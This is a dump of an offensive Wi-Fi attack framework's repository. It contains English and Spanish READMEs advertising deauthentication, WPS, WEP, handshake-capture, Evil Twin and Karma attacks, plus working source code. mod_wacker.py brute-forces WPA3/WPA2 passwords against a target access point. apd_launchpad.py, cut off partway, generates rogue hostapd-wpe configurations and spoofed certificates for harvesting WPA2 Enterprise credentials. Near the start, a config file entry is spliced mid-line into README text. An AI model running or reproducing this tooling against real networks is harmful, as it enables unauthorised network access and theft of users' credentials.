├── images
├── info.png
├── logo.png
├── launch.png
├── wef-demo.png
├── enable-mon.png
├── evil-twin.png
├── evil-twin2.png
├── evil-twin3.png
├── help-panel.png
├── logo_icon.png
├── wef-demo2.png
├── wef-demo3.png
├── wef-demo4.png
├── wef-demo5.png
├── installation.png
└── randomize-mac.png
├── src
└── wacker
│ ├── wpa_supplicant_amd64
│ ├── mod_wacker.py
│ └── wacker.py
├── lib
├── README.md
├── wep-ap
│ ├── dnsmasq.conf
│ ├── hostapd.conf
│ └── README.md
├── hostapd.conf
├── dnsmasq.conf
└── lighttpd.conf
├── Dockerfile
├── scripts
├── restore_vif.sh
├── gen_hostapd_conf.sh
├── create_vif.sh
├── README.md
├── wids_confusion.sh
├── deauth.sh
├── scan_wifis.sh
└── apd_launchpad.py
├── .github
├── ISSUE_TEMPLATE
│ └── bug_report.md
└── FUNDING.yml
├── default.cfg
├── LICENSE
├── CHANGELOG.md
├── README.md
└── SPANISH.md
/images/info.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/info.png
--------------------------------------------------------------------------------
/images/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/logo.png
--------------------------------------------------------------------------------
/images/launch.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/launch.png
--------------------------------------------------------------------------------
/images/wef-demo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/wef-demo.png
--------------------------------------------------------------------------------
/images/enable-mon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/enable-mon.png
--------------------------------------------------------------------------------
/images/evil-twin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/evil-twin.png
--------------------------------------------------------------------------------
/images/evil-twin2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/evil-twin2.png
--------------------------------------------------------------------------------
/images/evil-twin3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/evil-twin3.png
--------------------------------------------------------------------------------
/images/help-panel.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/help-panel.png
--------------------------------------------------------------------------------
/images/logo_icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/logo_icon.png
--------------------------------------------------------------------------------
/images/wef-demo2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/wef-demo2.png
--------------------------------------------------------------------------------
/images/wef-demo3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/wef-demo3.png
--------------------------------------------------------------------------------
/images/wef-demo4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/wef-demo4.png
--------------------------------------------------------------------------------
/images/wef-demo5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/wef-demo5.png
--------------------------------------------------------------------------------
/images/installation.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/installation.png
--------------------------------------------------------------------------------
/images/randomize-mac.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/images/randomize-mac.png
--------------------------------------------------------------------------------
/src/wacker/wpa_supplicant_amd64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/D3Ext/WEF/HEAD/src/wacker/wpa_supplicant_amd64
--------------------------------------------------------------------------------
/lib/README.md:
--------------------------------------------------------------------------------
1 | # Lib
2 |
3 | This directory contains various configuration files that I used in some way to test or develop this tool.
4 |
5 |
--------------------------------------------------------------------------------
/lib/wep-ap/dnsmasq.conf:
--------------------------------------------------------------------------------
1 | # Network interface used to set up the AP (i.e. wlan0)
2 | interface=
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
27 | Introduction • 28 | Attacks • 29 | Features • 30 | Installation • 31 | Usage 32 |
33 | 34 |35 | README in spanish 36 |
37 | 38 | ## Introduction 39 | 40 | This tool is designed for security researchers and penetration testers to analyze and exploit vulnerabilities in Wi-Fi networks. It provides an intuitive interface with a wide range of automated and manual attack techniques to test WPA/WPA2, WPS, and WEP security. With support for both 2.4 GHz and 5 GHz networks, detailed logging and customizable attack options, it offers flexibility for different testing scenarios. This is not a professional tool. 41 | 42 | If you find an error, please open an issue (you can write it in english or spanish, as you want). 43 | 44 | ## Supported attacks 45 | 46 | - DoS (optional handshake capture): 47 | - Deauthentication/Disassociation attack 48 | - WIDS Confusion attack 49 | - Authentication attack 50 | - Beacon Flood attack 51 | - TKIP attack (Michael Shutdown Exploitation) 52 | - WPS: 53 | - Pixie Dust attack 54 | - PIN Bruteforce attack 55 | - Null Pin attack 56 | - WEP: 57 | - ARP Replay attack 58 | - HIRTE attack 59 | - Caffe Latte attack 60 | - Fake Authentication attack 61 | - Handshake: 62 | - WPA handshake attack 63 | - PMKID handshake attack 64 | - Pwnagotchi mode 65 | - Rogue AP: 66 | - Evil Twin attack 67 | - BSSID spoofing 68 | - Karma mode 69 | - Enterprise WPA supported 70 | - Deauth supported 71 | - Other attacks: 72 | - Automatic attack mode (Auto PWN) 73 | - WPA3 dictionary attack 74 | 75 | All the mentioned attacks/techniques are explained [here](https://github.com/D3Ext/WEF/wiki/Attacks) on the Wiki 76 | 77 | ## Features 78 | 79 | This are some of the most notable features: 80 | 81 | :ballot_box_with_check: WPA/WPA2/WPA3, WPS, WEP, Rogue-AP, and Handshake Attacks 82 | 83 | :ballot_box_with_check: Automatic attack mode based on the features of the AP 84 | 85 | :ballot_box_with_check: Automatic handshake capture 86 | 87 | :ballot_box_with_check: Online and offline handshake cracking 88 | 89 | :ballot_box_with_check: Simple login template for Evil Twin attack (multiple languages supported) 90 | 91 | :ballot_box_with_check: Toggle monitor mode and view information about the network interface (frequencies, chipset, etc.) 92 | 93 | :ballot_box_with_check: 2.4 GHz and 5 GHz supported 94 | 95 | :ballot_box_with_check: Informative reports using HTML templates 96 | 97 | :ballot_box_with_check: Standalone script 98 | 99 | :ballot_box_with_check: English and spanish supported 100 | 101 | ## Installation 102 | 103 | > As root 104 | ```sh 105 | git clone --depth 1 https://github.com/D3Ext/WEF 106 | cd WEF 107 | bash wef 108 | ``` 109 | 110 | Take a look at the [Wiki](https://github.com/D3Ext/WEF/wiki/Installation) where I have more info about the tool 111 | 112 | ## Usage 113 | 114 | > Common usage of the framework (your interface may have other name) 115 | ```sh 116 | wef -i wlan0 117 | ``` 118 | 119 | > Help panel 120 | ``` 121 | __ _____ ___ 122 | \ \ / / __| __| 123 | \ \/\/ /| _|| _| 124 | \_/\_/ |___|_| 125 | 126 | [WEF] WiFi Exploitation Framework 1.6 127 | 128 | [*] Interfaces: 129 | wlan0 130 | 131 | Required parameters: 132 | -i, --interface) The name of your network adapter interface in managed mode 133 | 134 | Optional parameters: 135 | -h, --help) Show this help panel 136 | --version) Print the version and exit 137 | ``` 138 | 139 | See [here](https://github.com/D3Ext/WEF/wiki/Usage-&-Tips) for more information about how to use the tool and other related topics 140 | 141 | ## Demo 142 | 143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 | ## TODO
160 |
161 | - Custom Evil Twin templates based on target AP vendor (TP-Link, Netgear, etc)
162 | - Even more languages for Evil Twin templates
163 | - More WPA3 attacks: Downgrade, Dragondrain
164 | - ~~Sort APs by default by power to show which APs are closer~~
165 | - ~~WEF now works as a standalone script~~
166 | - ~~Disassociation is now supported alongside deauthentication~~
167 | - ~~Vendors are no longer parsed from a local file~~
168 | - ~~APs scanning has been improved, now APs with clients are marked in green colour~~
169 | - ~~Evil Twin now supports PMKID handshake to check captured passwords~~
170 | - ~~MAC randomization/spoofing improved~~
171 | - ~~Filters for WPS and WPA3 when scanning APs~~
172 | - ~~Most attacks were reworked and/or improved, new options are available~~
173 | - ~~Graphical session and windows were reworked~~
174 | - ~~Non-Graphical usage has been improved~~
175 | - ~~Automatic dependencies installation on main distros~~
176 | - ~~Deep testing on supported distros (Manjaro, Fedora, Parrot, Debian, etc)~~
177 | - ~~Requirements were updated. Some more were added although the should be installed on most distros~~
178 | - ~~WPA3 attack optimized~~
179 | - ~~Now certificate files needed for Enterprise Evil Twin are generated automatically~~
180 | - ~~More languages supported on Evil Twin templates (czech, danish and romanian)~~
181 | - ~~Now wordlists are not needed anymore as dependencies~~
182 | - ~~Better error handling for most scenarios~~
183 | - ~~Multiple bug fixes~~
184 |
185 | ## Changelog
186 |
187 | See [CHANGELOG.md](https://github.com/D3Ext/WEF/blob/main/CHANGELOG.md)
188 |
189 | ## References
190 |
191 | ```
192 | https://github.com/aircrack-ng/aircrack-ng
193 | https://github.com/aircrack-ng/mdk4
194 | https://github.com/v1s1t0r1sh3r3/airgeddon
195 | https://github.com/FluxionNetwork/fluxion
196 | https://github.com/P0cL4bs/wifipumpkin3
197 | https://github.com/s0lst1c3/eaphammer
198 | https://github.com/derv82/wifite2
199 | https://github.com/wifiphisher/wifiphisher
200 | https://github.com/ZerBea/hcxtools
201 | https://github.com/ZerBea/hcxdumptool
202 | https://github.com/Tylous/SniffAir
203 | https://github.com/blunderbuss-wctf/wacker
204 | https://github.com/evilsocket/pwnagotchi
205 | https://github.com/koutto/pi-pwnbox-rogueap
206 | https://github.com/koutto/pi-pwnbox-rogueap/wiki/01.-WiFi-Basics
207 | ```
208 |
209 | ## Disclaimer
210 |
211 | The creator has no responsibility for any kind of illegal use of the project.
212 |
213 | ## License
214 |
215 | This project is under MIT license
216 |
217 | Copyright © 2025, *D3Ext*
218 |
219 |
220 |
221 |
--------------------------------------------------------------------------------
/SPANISH.md:
--------------------------------------------------------------------------------
1 |
3 | 6 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
27 | Introducción • 28 | Ataques • 29 | Funciones • 30 | Instalación • 31 | Requisitos 32 |
33 | 34 | ## Introducción 35 | 36 | Esta herramienta está diseñada para que los investigadores de seguridad y los penetration testers analicen y exploten las vulnerabilidades de las redes Wi-Fi. Proporciona una interfaz intuitiva con una amplia gama de técnicas de ataque automatizadas y manuales para probar la seguridad WPA/WPA2, WPS y WEP. Con soporte para redes de 2,4 GHz y 5 GHz, registro detallado y opciones de ataque personalizables, ofrece flexibilidad para diferentes escenarios de prueba. No se trata de una herramienta profesional. 37 | 38 | Si encuentras algún error, abre un issue en el repositorio (puedes escribirlo en español o inglés, como prefieras). 39 | 40 | ## Ataques soportados 41 | 42 | - DoS: 43 | - Ataque de deautenticación 44 | - Ataque de confusión WIDS 45 | - Ataque de autenticación 46 | - Ataque Beacon Flood 47 | - Ataque TKIP (Michael Shutdown Exploitation) 48 | - WPS: 49 | - Ataque Pixie Dust 50 | - Ataque de fuerza bruta de PIN 51 | - Ataque de pin nulo 52 | - WEP: 53 | - Ataque ARP Replay 54 | - Ataque HIRTE 55 | - Ataque Caffe Latte 56 | - Ataque de falsa autenticación 57 | - Handshake: 58 | - Ataque de handshake WPA 59 | - Ataque de handshake PMKID 60 | - Rogue-AP: 61 | - EvilTwin: 62 | - Modo KARMA 63 | - WPA Enterprise 64 | - Deautenticación soportada 65 | - Otros ataques: 66 | - Modo de ataque automatico (Auto PWN) 67 | - Ataque WPA3 con diccionario 68 | 69 | Todos los ataques mencionados arriba están explicados [aquí](https://github.com/D3Ext/WEF/wiki/Attacks) en la Wiki de este repositorio 70 | 71 | ## Funciones 72 | 73 | Estas son algunas de las funciones más destacadas: 74 | 75 | :ballot_box_with_check: Ataques WPA/WPA2/WPA3, WPS, WEP, Rogue-AP y de Handshake 76 | 77 | :ballot_box_with_check: Modo de ataque automático en función de las características del AP 78 | 79 | :ballot_box_with_check: Captura y cracking automático de handshakes 80 | 81 | :ballot_box_with_check: Cracking de handshakes online y offline 82 | 83 | :ballot_box_with_check: Plantilla simple de login para el ataque Evil Twin (en diferentes idiomas) 84 | 85 | :ballot_box_with_check: Activar/desactivar el modo monitor y ver información sobre la interfaz de red (frecuencias, chipset, dirección MAC...) 86 | 87 | :ballot_box_with_check: 2.4 GHz y 5 GHz soportados 88 | 89 | :ballot_box_with_check: Reportes informativos sobre los ataques en formato HTML 90 | 91 | :ballot_box_with_check: Script standalone 92 | 93 | :ballot_box_with_check: Inglés y español soportados 94 | 95 | ## Instalación 96 | 97 | > Como root 98 | ```sh 99 | git clone --depth 1 https://github.com/D3Ext/WEF 100 | cd WEF 101 | bash wef 102 | ``` 103 | 104 | Echa un ojo a la [Wiki](https://github.com/D3Ext/WEF/wiki/Installation) donde hay más información sobre la instalación 105 | 106 | ## Uso 107 | 108 | > Uso habitual del framework (el nombre de la interfaz puede ser diferente) 109 | ```sh 110 | wef -i wlan0 111 | ``` 112 | 113 | > Panel de ayuda 114 | ``` 115 | __ _____ ___ 116 | \ \ / / __| __| 117 | \ \/\/ /| _|| _| 118 | \_/\_/ |___|_| 119 | 120 | [WEF] WiFi Exploitation Framework 1.6 121 | 122 | Interfaces: 123 | wlan0 124 | 125 | Required parameters: 126 | -i, --interface) The name of your network adapter interface in managed mode 127 | 128 | Optional parameters: 129 | -h, --help) Show this help panel 130 | --version) Print the version and exit 131 | ``` 132 | 133 | Mira [aquí](https://github.com/D3Ext/WEF/wiki/Usage-&-Tips) para más información sobre como usar la herramienta y otros temas relacionados 134 | 135 | ## Demo 136 | 137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 | ## TODO
154 |
155 | - Plantillas personalizadas de Evil Twin basadas en el vendor del AP (TP-Link, Netgear, etc)
156 | - Más idiomas aun para las plantillas de Evil Twin
157 | - Más ataques WPA3: Downgrade, Dragondrain
158 | - ~~Ordena los APs por el power para mostrar los APs más cercanos~~
159 | - ~~WEF ahora funciona como un script standalone~~
160 | - ~~Ahora la desasociación esta soportada junto a la deauthenticación~~
161 | - ~~Los vendors ya no se obtiene de un archivo local~~
162 | - ~~El escaneo de APs ha sido mejorado, ahora los APs con clientes se marcan en color verde~~
163 | - ~~Evil Twin ahora soporta handshakes PMKID para comprobar las contraseñas obtenidas~~
164 | - ~~La randomizacion/spoofing de la dirección MAC ha sido mejorada~~
165 | - ~~Filtros para WPS y WPA3 a la hora de escanear APs~~
166 | - ~~La mayoria de ataques han sido rehechos/mejorados, nuevas opciones disponibles~~
167 | - ~~Las sesiones gráficas y las ventanas han sido rediseñadas y mejoradas~~
168 | - ~~El uso de WEF sin sesión gráfica ha sido mejorado~~
169 | - ~~Instalación automatica de requisitos en las distros principales~~
170 | - ~~Pruebas en profundidad en las distros compatibles (Manjaro, Fedora, Parrot, Debian, etc)~~
171 | - ~~Los requisitos fueron actualizados. Se han añadido algunos requerimientos más aunque deberian estar instalados en la mayoria de distros~~
172 | - ~~Ataque WPA3 actualizado y rediseñado~~
173 | - ~~Más idiomas soportados en las plantillas de Evil Twin (checho, danés y rumano)~~
174 | - ~~Los diccionarios ya no son requeridos como dependencias~~
175 | - ~~Mejor manejo de los errores en la mayoria de casos~~
176 | - ~~Multiples errores arreglados~~
177 |
178 | ## Contribuir
179 |
180 | Mira [CONTRIBUTING.md](https://github.com/D3Ext/WEF/blob/main/CONTRIBUTING.md)
181 |
182 | ## Changelog
183 |
184 | Mira [CHANGELOG.md](https://github.com/D3Ext/WEF/blob/main/CHANGELOG.md)
185 |
186 | ## Referencias
187 |
188 | ```
189 | https://github.com/aircrack-ng/aircrack-ng
190 | https://github.com/aircrack-ng/mdk4
191 | https://github.com/v1s1t0r1sh3r3/airgeddon
192 | https://github.com/FluxionNetwork/fluxion
193 | https://github.com/P0cL4bs/wifipumpkin3
194 | https://github.com/s0lst1c3/eaphammer
195 | https://github.com/derv82/wifite2
196 | https://github.com/wifiphisher/wifiphisher
197 | https://github.com/ZerBea/hcxtools
198 | https://github.com/ZerBea/hcxdumptool
199 | https://github.com/Tylous/SniffAir
200 | https://github.com/evilsocket/pwnagotchi
201 | https://github.com/koutto/pi-pwnbox-rogueap
202 | https://github.com/koutto/pi-pwnbox-rogueap/wiki/01.-WiFi-Basics
203 | ```
204 |
205 | ## Disclaimer
206 |
207 | El creador no se hace cargo de ningún uso ilegal del proyecto
208 |
209 | ## Licencia
210 |
211 | Este proyecto está bajo licencia MIT
212 |
213 | Copyright © 2025, *D3Ext*
214 |
215 |
--------------------------------------------------------------------------------
/src/wacker/mod_wacker.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import argparse
4 | import os
5 | import re
6 | import signal
7 | import socket
8 | import stat
9 | import subprocess
10 | import sys
11 | import time
12 |
13 | assert sys.version_info >= (3,7)
14 |
15 | def kill(sig, frame):
16 | try:
17 | wacker.kill()
18 | print(f'Stopped at password attempt: {word}')
19 | except:
20 | pass
21 | sys.exit(0)
22 |
23 | signal.signal(signal.SIGINT, kill)
24 |
25 | class Wacker(object):
26 | RETRY = 0
27 | SUCCESS = 1
28 | FAILURE = 2
29 | EXIT = 3
30 |
31 | def __init__(self, args):
32 | self.args = args
33 |
34 | self.tmp_dir = f'/tmp/wef/wacker'
35 | self.wacker_dir = f'/root/.config/wef/wacker'
36 |
37 | self.server = f'{self.tmp_dir}/{args.interface}'
38 | self.conf = f'{self.server}.conf'
39 | self.wpa = f'{self.wacker_dir}/wpa_supplicant_amd64'
40 | self.pid = f'{self.server}.pid'
41 | self.me = f'{self.tmp_dir}/{args.interface}_client'
42 | self.key_mgmt = ('SAE', 'WPA-PSK')[args.brute_wpa2]
43 |
44 | self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
45 |
46 | self.cmd = f'{self.wpa} -P {self.pid} -B -i {self.args.interface} -c {self.conf}'
47 | self.cmd = self.cmd.split()
48 |
49 | wpa_conf = 'ctrl_interface={}\n\n{}network={{\n}}'.format(self.tmp_dir, ('sae_pwe=2\n\n', '')[args.brute_wpa2])
50 |
51 | self.total_count = int(subprocess.check_output(f'wc -l {args.wordlist}', shell=True).split()[0].decode('utf-8'))
52 |
53 | # Create supplicant directory and remove previous files
54 | os.system(f'mkdir {self.tmp_dir} 2>/dev/null')
55 | os.system(f'rm -f {self.tmp_dir}/{args.interface}*')
56 |
57 | # Write configuration file
58 | with open(self.conf, 'w') as f:
59 | f.write(wpa_conf)
60 |
61 | # Initial supplicant setup
62 | self.start_supplicant()
63 | self.create_uds_endpoints()
64 | self.one_time_setup()
65 |
66 | # Create rolling average for pwd/sec
67 | self.rolling = [0] * 150
68 | self.start_time = time.time()
69 | self.lapse = self.start_time
70 | print('Start time: {}'.format(time.strftime('%d %b %Y %H:%M:%S', time.localtime(self.start_time))))
71 |
72 | def create_uds_endpoints(self):
73 | try:
74 | os.unlink(self.me)
75 | except Exception:
76 | if os.path.exists(self.me):
77 | raise
78 |
79 | self.sock.bind(self.me)
80 |
81 | print(f'Connecting to {self.server}')
82 | try:
83 | self.sock.connect(self.server)
84 | except Exception:
85 | raise
86 |
87 | def start_supplicant(self):
88 | print('Starting wpa_supplicant...')
89 | proc = subprocess.Popen(self.cmd)
90 | time.sleep(2)
91 |
92 | mode = os.stat(self.server).st_mode
93 | if not stat.S_ISSOCK(mode):
94 | raise Exception(f'Missing {self.server}... Is wpa_supplicant running?')
95 |
96 | def send_to_server(self, msg):
97 | self.sock.sendall(msg.encode())
98 | d = self.sock.recv(1024).decode().rstrip('\n')
99 | if d == "FAIL":
100 | raise Exception(f'{msg} failed!')
101 | return d
102 |
103 | def one_time_setup(self):
104 | self.send_to_server('ATTACH')
105 | self.send_to_server(f'SET_NETWORK 0 ssid "{self.args.ssid}"')
106 | self.send_to_server(f'SET_NETWORK 0 key_mgmt {self.key_mgmt}')
107 | self.send_to_server(f'SET_NETWORK 0 bssid {self.args.bssid}')
108 | self.send_to_server(f'SET_NETWORK 0 scan_freq {self.args.freq}')
109 | self.send_to_server(f'SET_NETWORK 0 freq_list {self.args.freq}')
110 | self.send_to_server(f'SET_NETWORK 0 ieee80211w 1')
111 | self.send_to_server(f'DISABLE_NETWORK 0')
112 |
113 | def send_connection_attempt(self, psk):
114 | print(f'Trying key: {psk}')
115 |
116 | if self.key_mgmt == 'SAE':
117 | self.send_to_server(f'SET_NETWORK 0 sae_password "{psk}"')
118 | else:
119 | self.send_to_server(f'SET_NETWORK 0 psk "{psk}"')
120 |
121 | self.send_to_server(f'ENABLE_NETWORK 0')
122 |
123 | def listen(self, count):
124 | while True:
125 | datagram = self.sock.recv(2048)
126 | if not datagram:
127 | return Wacker.RETRY
128 |
129 | data = datagram.decode().rstrip('\n')
130 | event = data.split()[0]
131 | if event == "<3>CTRL-EVENT-BRUTE-FAILURE":
132 | self.print_stats(count)
133 | self.send_to_server(f'DISABLE_NETWORK 0')
134 | print('\nBRUTE ATTEMPT FAIL\n')
135 | return Wacker.FAILURE
136 | elif event == "<3>CTRL-EVENT-NETWORK-NOT-FOUND":
137 | self.send_to_server(f'DISABLE_NETWORK 0')
138 | print(f'NETWORK NOT FOUND\n')
139 | return Wacker.EXIT
140 | elif event == "<3>CTRL-EVENT-SCAN-FAILED":
141 | self.send_to_server(f'DISABLE_NETWORK 0')
142 | print('SCAN FAILURE\n')
143 | return Wacker.EXIT
144 | elif event == "<3>CTRL-EVENT-BRUTE-SUCCESS":
145 | self.print_stats(count)
146 | print('\nBRUTE ATTEMPT SUCCESS\n')
147 | return Wacker.SUCCESS
148 | elif event == "<3>CTRL-EVENT-BRUTE-RETRY":
149 | print('\nBRUTE ATTEMPT RETRY\n')
150 | self.send_to_server(f'DISABLE_NETWORK 0')
151 | return Wacker.RETRY
152 |
153 | def print_stats(self, count):
154 | current = time.time()
155 | avg = 1 / (current - self.lapse)
156 | self.lapse = current
157 |
158 | if count <= 150:
159 | self.rolling[count-1] = avg
160 | avg = sum(self.rolling[:count]) / count
161 | else:
162 | self.rolling[(count-1) % 150] = avg
163 | avg = sum(self.rolling) / 150
164 |
165 | spot = count
166 | est = (self.total_count - spot) / avg
167 | percent = spot / self.total_count * 100
168 | end = time.strftime('%d %b %Y %H:%M:%S', time.localtime(current + est))
169 | lapse = current - self.start_time
170 | print(f'{spot:8} / {self.total_count:<8} words ({percent:2.2f}%) : {avg:4.0f} words/sec : ' \
171 | f'{lapse/3600:5.3f} hours lapsed : {est/3600:8.2f} hours to exhaust ({end})', end='\r')
172 |
173 | def kill(self):
174 | print('\nStop time: {}'.format(time.strftime('%d %b %Y %H:%M:%S', time.localtime(time.time()))))
175 | os.kill(int(open(self.pid).read()), signal.SIGKILL)
176 |
177 | parser = argparse.ArgumentParser(description='A WPA3 dictionary cracker')
178 | parser.add_argument('--wordlist', type=str, required=True, help='wordlist to use', dest='wordlist')
179 | parser.add_argument('--interface', type=str, dest='interface', required=True, help='interface to use in managed mode')
180 | parser.add_argument('--bssid', type=str, dest='bssid', required=True, help='bssid of the target AP')
181 | parser.add_argument('--ssid', type=str, dest='ssid', required=True, help='the ssid of the WPA3 AP')
182 | parser.add_argument('--freq', type=int, dest='freq', required=True, help='frequency of the AP')
183 | parser.add_argument('--wpa2', dest='brute_wpa2', action='store_true', help='brute force wpa2-personal')
184 |
185 | args = parser.parse_args()
186 |
187 | if os.geteuid() != 0:
188 | print('This script must be run as root!')
189 | sys.exit(0)
190 |
191 | wacker = Wacker(args)
192 |
193 | def attempt(word, count):
194 | while True:
195 | wacker.send_connection_attempt(word)
196 | result = wacker.listen(count)
197 | if result == Wacker.EXIT:
198 | kill(None, None)
199 | elif result != Wacker.RETRY:
200 | return result
201 |
202 | print()
203 |
204 | # Start the cracking
205 | count = 1
206 | with open(args.wordlist, "r") as f:
207 | while True:
208 | word = f.readline()
209 | if word:
210 | word = word.rstrip('\n')
211 | result = attempt(word, count)
212 |
213 | if result == Wacker.SUCCESS:
214 | print(f'\nFound the password: "{word}"')
215 | break
216 |
217 | count += 1
218 | else:
219 | print('Could not find the password')
220 | break
221 |
222 | wacker.kill()
223 |
--------------------------------------------------------------------------------
/scripts/apd_launchpad.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import argparse
4 | import datetime
5 | import os
6 | import subprocess
7 | import tempfile
8 | import time
9 |
10 | import jinja2
11 |
12 | jinja_env = jinja2.Environment(trim_blocks=True)
13 | jinja_env.filters['strftime'] = lambda dt, fmt: dt.strftime(fmt)
14 |
15 | # vars: broadcast, pwd, target, interface, ssid, channel, wpa_version, [bridge]
16 | TEMPLATE_HOSTAPD_CONF = jinja_env.from_string("""\
17 | # hostapd-wpe configuration file for {{ target }} created on {{ timestamp | strftime('%d %b %Y at %H:%M:%S') }}
18 | interface={{ interface }}
19 | ssid={{ ssid }}
20 | channel={{ channel }}
21 | {% if bridge %}bridge={{ bridge }}{% endif %}
22 | ignore_broadcast_ssid={{ broadcast }}
23 | eap_user_file={{ pwd }}/hostapd-wpe.eap_user
24 | {# ca cert location #}
25 | ca_cert={{ pwd }}/{{ target }}/ca.pem
26 | {# server cert location #}
27 | server_cert={{ pwd }}/{{ target }}/server.pem
28 | {# private key location #}
29 | private_key={{ pwd }}/{{ target }}/server.pem
30 | private_key_passwd={{ password }}
31 | dh_file={{ pwd }}/{{ target }}/dh
32 | eap_fast_a_id=101112131415161718191a1b1c1d1e1f
33 | eap_server=1
34 | eap_fast_a_id_info=hostapd-wpe
35 | eap_fast_prov=3
36 | ieee8021x=1
37 | pac_key_lifetime=604800
38 | pac_key_refresh_time=86400
39 | pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
40 | wpa={{ wpa_version }}
41 | wpa_key_mgmt=WPA-EAP
42 | wpa_pairwise=TKIP CCMP
43 | """)
44 |
45 | TEMPLATE_OPENSSL_CONF = jinja_env.from_string("""\
46 | [ ca ]
47 | default_ca = CA_default
48 | [ CA_default ]
49 | dir = .
50 | certs = $dir
51 | crl_dir = $dir/crl
52 | database = $dir/demoCA/index.txt
53 | new_certs_dir = $dir
54 | certificate = $dir/{{ cnf_type }}.pem
55 | serial = $dir/demoCA/serial
56 | crl = $dir/crl.pem
57 | private_key = $dir/{{ cnf_type }}.key
58 | RANDFILE = $dir/.rand
59 | name_opt = ca_default
60 | cert_opt = ca_default
61 | default_days = 365
62 | default_crl_days = 30
63 | default_md = sha256
64 | preserve = no
65 | policy = policy_match
66 | [ policy_match ]
67 | countryName = optional
68 | stateOrProvinceName = optional
69 | organizationName = optional
70 | organizationalUnitName = optional
71 | commonName = supplied
72 | emailAddress = optional
73 | [ req ]
74 | prompt = no
75 | {% if cnf_type == 'ca' %}
76 | distinguished_name = certificate_authority
77 | {% elif cnf_type == 'server' %}
78 | distinguished_name = server
79 | {% endif %}
80 | default_bits = 2048
81 | input_password = {{ password }}
82 | output_password = {{ password }}
83 | [certificate_authority]
84 | {% if country %}
85 | countryName = {{ country }}
86 | {% endif %}
87 | {% if state %}
88 | stateOrProvinceName = {{ state }}
89 | {% endif %}
90 | {% if location %}
91 | localityName = {{ location }}
92 | {% endif %}
93 | {% if org %}
94 | organizationName = {{ org }}
95 | {% endif %}
96 | {% if email %}
97 | emailAddress = {{ email }}
98 | {% endif %}
99 | commonName = {{ common_name }}
100 | """)
101 |
102 | TEMPLATE_XPEXTENSIONS = """\
103 | #
104 | # File containing the OID's required for Windows.
105 | #
106 | # http://support.microsoft.com/kb/814394/en-us
107 | #
108 | [ xpclient_ext]
109 | extendedKeyUsage = 1.3.6.1.5.5.7.3.2
110 |
111 | [ xpserver_ext]
112 | extendedKeyUsage = 1.3.6.1.5.5.7.3.1
113 |
114 | #
115 | # Add this to the PKCS#7 keybag attributes holding the client's private key
116 | # for machine authentication.
117 | #
118 | # the presence of this OID tells Windows XP that the cert is intended
119 | # for use by the computer itself, and not by an end-user.
120 | #
121 | # The other solution is to use Microsoft's web certificate server
122 | # to generate these certs.
123 | #
124 | # 1.3.6.1.4.1.311.17.2
125 | """
126 |
127 | def write_cnf(target, cnf_type, password, country, state, org, common_name, location, email):
128 | with open(os.path.join(target, cnf_type + '.cnf'), 'w') as cnf_file:
129 | cnf_file.write(TEMPLATE_OPENSSL_CONF.render(
130 | cnf_type=cnf_type,
131 | common_name=common_name,
132 | country=country,
133 | email=email,
134 | location=location,
135 | org=org,
136 | password=password,
137 | state=state
138 | ))
139 |
140 |
141 | def main():
142 | parser = argparse.ArgumentParser(description='Facilitate the creation of hostapd-wpe configuration files and spoofed certificates for WPA2 Enterprise credential harvesting.')
143 |
144 | # hostapd-wpe configuration file parameters
145 | parser.add_argument('-t', '--target', dest='target', required=True, help='Name of target organization. Used to create directory. Required.')
146 | parser.add_argument('-s', '--ssid', dest='ssid', required=True, help='SSID of wireless network. Required.')
147 | parser.add_argument('-i', '--interface', dest='interface', required=True, help='Wireless interface on which to broadcast. Required.')
148 | parser.add_argument('-ch', '--channel', dest='channel', type=int, default=1, help='Channel on which to broadcast (default "1").')
149 | parser.add_argument('-bc', '--broadcast', dest='broadcast', type=int, default=0, choices=set((0, 1, 2)), help='Broadcast or cloak SSID. 0=Broadcast SSID; 1=Send empty SSID beacon (length=0); 2=Send SSID beacon with length (length=N) (default 0).')
150 | parser.add_argument('-br', '--bridge', dest='bridge', help='Bridge interface to use for MitM (default none).')
151 | parser.add_argument('-w', '--wpa', dest='wpa_version', type=int, default=2, choices=set((1,2)), help='Version of WPA (default "2")')
152 |
153 | # certificate generation parameters
154 | parser.add_argument('-cn', '--common-name', dest='common_name', required=True, help='Common name for certificate. Required.')
